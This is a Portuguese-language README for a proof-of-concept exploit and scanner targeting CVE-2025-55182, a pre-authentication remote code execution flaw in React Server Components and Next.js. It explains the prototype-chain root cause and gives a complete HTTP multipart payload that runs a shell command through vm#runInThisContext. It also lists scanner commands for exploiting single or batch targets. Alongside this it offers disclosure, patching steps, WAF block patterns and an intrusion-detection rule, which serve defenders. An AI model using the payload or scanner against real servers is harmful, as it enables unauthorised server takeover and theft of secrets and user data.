CVE-2025-55182: RCE Crítica de Pré-Autenticação em Componentes de Servidor React

Pesquisa de Segurança por schema.cx
"Controle é uma ilusão. São os sistemas que construímos que nos controlam—a menos que primeiro os entendamos."

📋 Índice

• Aviso Legal & Isenção de Responsabilidade
• Resumo Executivo
• Descrição Técnica
• Sistemas Afetados
• Prova de Conceito
• Avaliação de Impacto
• Mitigação & Remediação
• Cronograma de Divulgação Responsável
• Referências
• Atribuição

⚠️ Aviso Legal & Isenção de Responsabilidade

ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

PARE. LEIA ISTO ANTES DE PROSSEGUIR.

Este repositório contém código de prova de conceito para uma vulnerabilidade de segurança crítica. Ao acessar, baixar ou usar qualquer material neste repositório, você reconhece e concorda com o seguinte:

Requisitos Legais

1. Autorização Escrita Necessária: Você DEVE ter permissão explícita e por escrito do proprietário do sistema antes de realizar qualquer teste de segurança. Acordos verbais são insuficientes.

2. Limitações de Escopo: Os testes devem ser confinados a sistemas explicitamente listados em sua autorização. "Aumento de escopo" não é permitido.

3. Leis Aplicáveis: O acesso não autorizado a sistemas de computador viola:

   • Estados Unidos: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
   • União Europeia: Diretiva 2013/40/UE sobre ataques contra sistemas de informação
   • Reino Unido: Computer Misuse Act 1990
   • Austrália: Criminal Code Act 1995, Divisão 477-478
   • Outras jurisdições: Leis similares de crimes de informática se aplicam globalmente

Isenção de Responsabilidade

OS AUTORES E COLABORADORES DESTE REPOSITÓRIO:

• NÃO aceitam NENHUMA responsabilidade pelo uso indevido desta ferramenta
• NÃO fornecem NENHUMA garantia, expressa ou implícita
• NÃO são responsáveis por quaisquer danos decorrentes do uso ou da incapacidade de usar este software
• NÃO endossam atividades ilegais de qualquer tipo

Diretrizes Éticas

• Nunca teste sem permissão — mesmo que você "só queira verificar"
• Documente tudo — mantenha registros detalhados de todas as atividades de teste
• Minimize o impacto — use os métodos menos invasivos possíveis
• Relate com responsabilidade — siga práticas de divulgação coordenada
• Respeite a privacidade — não exfiltre nem retenha dados sensíveis

"A questão não é se podemos explorar a vulnerabilidade. É se devemos, e com que propósito."

📊 Resumo Executivo

CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código (RCE) de pré-autenticação que afeta Componentes de Servidor React em aplicações React 19.x e Next.js 15.x-16.x.

Impacto nos Negócios

Esta vulnerabilidade permite que qualquer atacante não autenticado com acesso de rede a uma aplicação vulnerável execute comandos arbitrários no servidor. O ataque não requer credenciais, nenhuma interação do usuário e pode ser totalmente automatizado. A exploração bem-sucedida leva a:

• Comprometimento completo do servidor — atacantes obtêm controle total do sistema subjacente
• Potencial de violação de dados — acesso a bancos de dados, variáveis de ambiente, segredos e dados do usuário
• Movimentação lateral — servidores comprometidos podem ser usados para atacar redes internas
• Risco na cadeia de suprimentos — sistemas de produção atendendo milhões de usuários podem ser afetados

Classificação de Gravidade

"As pessoas confiam em sistemas porque não os entendem. Essa confiança é uma vulnerabilidade."

🔬 Descrição Técnica

Análise da Causa Raiz

A vulnerabilidade existe na implementação do protocolo Flight do React dentro da função requireModule. Esta função usa notação de colchetes para acessar exportações de módulo com base em entrada controlada pelo usuário, sem validar se a propriedade solicitada é uma propriedade própria do módulo.

Localização do Código Vulnerável:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Função: requireModule (aproximadamente linhas 2546-2558 na v19.0.0)

Padrão Vulnerável:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... tratamento assíncrono ...
  return moduleExports[metadata[2]];  // ← VULNERÁVEL: Sem verificação hasOwnProperty
}

Mecanismo de Exploração

O ataque explora a travessia da cadeia de protótipos do JavaScript:

1. Ponto de Entrada: Atacante envia uma requisição maliciosa de formulário multipart para um endpoint de Server Action
2. Injeção de Payload: O campo $ACTION_0:0 contém JSON com as propriedades id (formato módulo#exportação) e bound (argumentos) controladas pelo atacante
3. Acesso ao Protótipo: Ao especificar exportações como constructor ou acessar propriedades do protótipo, atacantes podem referenciar módulos Node.js embutidos
4. Gadgets RCE: Funções como vm.runInThisContext, child_process.execSync ou fs.readFileSync executam com argumentos fornecidos pelo atacante

Vetor de Ataque

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Analisa o formato "module#export"
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Acesso à cadeia de protótipos → RCE

Estrutura do Payload

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Gadgets RCE Disponíveis

"Todo sistema tem uma porta. A questão é se você construiu a fechadura—ou a herdou de alguém que nunca esperava visitantes."

🎯 Sistemas Afetados

Versões Vulneráveis

Pré-requisitos para Exploração

1. Componentes de Servidor React Habilitados: A aplicação usa RSC com Server Actions
2. Versão Vulnerável do React: Uma das versões afetadas está em uso
3. Acesso à Rede: Atacante pode alcançar endpoints de Server Action
4. Módulos Perigosos no Bundle: Para RCE direto, módulos como vm, child_process ou fs devem estar no bundle webpack

Requisitos de Plataforma

• Runtime: Node.js (qualquer versão que suporte React 19)
• Framework: Next.js App Router ou implementação RSC personalizada
• Nenhuma configuração adicional necessária para estar vulnerável

Probabilidade de Módulos Perigosos

🔧 Prova de Conceito

Ferramenta de Scanner

Este repositório inclui um scanner de segurança abrangente baseado em Python com múltiplos modos de operação.

Estrutura do Repositório

CVE-2025-55182-poc/
├── README.md                    # Este arquivo
├── scanner/
│   ├── __init__.py             # Inicialização do pacote Python
│   ├── scanner.py              # Scanner unificado principal (6 modos)
│   ├── readme.md               # Documentação detalhada do scanner
│   ├── requirements.txt        # Dependências Python
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # Análise aprofundada da vulnerabilidade
│       └── VULNERABLE-PACKAGES.md   # Versões de pacotes afetados

Instalação:

cd scanner
pip install -r requirements.txt

Exemplos de Uso Básico

Escaneamento de Vulnerabilidade:

# Verificar se o alvo é vulnerável
python scanner.py scan https://target.com

Detecção de Gadgets:

# Identificar gadgets RCE disponíveis
python scanner.py exploit https://target.com --detect-gadgets

Execução de Comando (com autorização):

# Executar comando no alvo vulnerável
python scanner.py exploit https://target.com -c "whoami"

Teste em Lote:

# Testar múltiplos alvos a partir de arquivo
python scanner.py batch -f targets.txt -o results.json

Escaneamento Automatizado com Verificação:

# Escaneamento abrangente com verificação de exploit
python scanner.py auto -f targets.txt -o report.txt

Saída Esperada

Alvo Vulnerável:

[+] VULNERÁVEL a CVE-2025-55182!
    Framework: Next.js
    Versão: 15.1.0
    Confiança: ALTA
    
Gadgets Disponíveis:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

Alvo Corrigido:

[-] Não vulnerável ou não foi possível determinar
    Framework detectado: Next.js
    Versão: 15.2.0 (corrigida)

Modos do Scanner

Funcionalidades

• Detecção de Framework: Identifica aplicações Next.js/React antes da exploração
• Detecção de WAF/CDN: Reconhece Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF e mais
• Múltiplos Gadgets RCE: Caminhos de exploração vm, child_process, fs, module
• RCE em Duas Etapas: Exploração alternativa via fs#writeFileSync + module#_load
• Verificação: Confirma explots com prova de execução
• Prevenção de Falsos Positivos: Filtragem inteligente de respostas HTML/WAF
• Geração de Relatórios: Formatos de saída Texto, JSON e HTML

Para documentação completa, veja scanner/readme.md.

"Uma ferramenta é tão perigosa quanto a intenção por trás dela. Nas mãos certas, uma arma se torna um escudo."

💥 Avaliação de Impacto

Impacto na Confidencialidade: ALTO

• Variáveis de Ambiente: Credenciais de banco de dados, chaves de API, segredos
• Código Fonte: Lógica da aplicação, algoritmos proprietários
• Dados do Usuário: Informações pessoais, tokens de autenticação
• Arquivos do Sistema: /etc/passwd, chaves SSH, credenciais em nuvem
• Redes Internas: Ponto de pivô para ataques adicionais

Impacto na Integridade: ALTO

• Injeção de Código: Backdoors em arquivos da aplicação
• Manipulação de Dados: Modificações no banco de dados
• Alterações de Configuração: Configurações de segurança, controles de acesso
• Mecanismos de Persistência: Tarefas cron, scripts de inicialização, chaves SSH

Impacto na Disponibilidade: ALTO

• Interrupção de Serviço: Terminação de processos, exaustão de recursos
• Destruição de Dados: Exclusão de arquivos, drops de banco de dados
• Implantação de Ransomware: Criptografia de arquivos críticos
• Comprometimento Completo do Sistema: Controle administrativo total

Cenários de Ataque

1. Violação de Dados: Atacante lê arquivos .env contendo credenciais de banco de dados, exfiltra dados de clientes

2. Instalação de Cryptominer: Atacante escreve script de mineração, adiciona tarefa cron para persistência

3. Ataque à Cadeia de Suprimentos: Atacante modifica código fonte em produção, servindo conteúdo malicioso aos usuários

4. Movimentação Lateral: Servidor comprometido usado para atacar bancos de dados internos, APIs e serviços

5. Ransomware: Atacante criptografa arquivos da aplicação, exige pagamento pelas chaves de descriptografia

🛡️ Mitigação & Remediação

Ações Imediatas (Faça Agora)

1. Atualize o React Imediatamente

   root@kitploit:~

   npm update react react-dom react-server-dom-webpack
   

   Versões alvo: 19.0.1+, 19.1.2+ ou 19.2.1+

2. Verifique a Aplicação do Patch

   root@kitploit:~

   npm ls react
   

   Certifique-se de que nenhuma versão vulnerável permanece em sua árvore de dependências

Regras de WAF/Firewall

Bloqueie requisições contendo estes padrões:

# Padrões de corpo de requisição a bloquear
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Fortalecimento da Configuração do Next.js

Exclua pacotes perigosos do empacotamento webpack:

// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

Detecção & Monitoramento

Padrões de Log a Monitorar:

• Campos $ACTION_REF_ ou $ACTION_ID_ incomuns em corpos de requisição
• Requisições POST para endpoints /api/* com dados de formulário multipart contendo JSON
• Mensagens de erro referenciando constructor, prototype ou acesso inesperado a módulo

Assinaturas de Detecção de Intrusão:

alert http any any -> $HOME_NET any (
  msg:"Tentativa de Exploit CVE-2025-55182";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

Recomendações de Longo Prazo

1. Auditoria de Dependências: Escaneamentos regulares com npm audit, Snyk ou ferramentas similares
2. Atualizações de Segurança: Atualizações automatizadas de dependências via Dependabot ou Renovate
3. Validação de Entrada: Nunca confie em entrada do usuário em padrões de acesso a propriedades
4. Menor Privilégio: Execute aplicações com as permissões mínimas necessárias
5. Segmentação de Rede: Isole sistemas de produção de redes internas

"Aplicar patch não é apenas sobre consertar o que está quebrado. É sobre fechar as portas que você não sabia que estavam abertas."

📅 Cronograma de Divulgação Responsável

Esta divulgação segue as Diretrizes de Divulgação de Vulnerabilidades do CERT/CC e os padrões ISO/IEC 29147:2018 para divulgação coordenada de vulnerabilidades.

📚 Referências

Recursos Oficiais

• Entrada CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
• Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

Avisos dos Fornecedores

• Avisos de Segurança do React: https://github.com/facebook/react/security/advisories
• Segurança do Next.js: https://nextjs.org/docs/security

Pesquisas Relacionadas

• Análise Técnica (Aprofundada)
• Análise de Pacotes Vulneráveis

Leitura Complementar

• OWASP - Poluição de Protótipo
• Segurança do Módulo VM do Node.js
• RFC de Componentes de Servidor React

🏆 Atribuição

Pesquisa Original

Esta prova de conceito foi desenvolvida pela equipe de pesquisa de segurança da schema.cx.

Repositório: https://github.com/ejpir/CVE-2025-55182-poc

Agradecimentos

Gostaríamos de agradecer:

• As equipes de segurança do React e Next.js por sua resposta rápida
• A comunidade de pesquisa em segurança pela análise colaborativa
• MITRE pela coordenação do CVE

📜 Licença

Este projeto é lançado apenas para fins educacionais e de pesquisa de segurança autorizada.

Ao usar este software, você concorda em:

1. Usá-lo apenas em sistemas que você possui ou tem autorização explícita para testar
2. Seguir práticas de divulgação responsável
3. Não usá-lo para fins maliciosos
4. Aceitar toda a responsabilidade por suas ações

"Não hackeamos para destruir. Hackeamos para entender. E entender é o primeiro passo para construir algo melhor."

schema.cx — Pesquisa de Segurança para um Mundo Digital Mais Seguro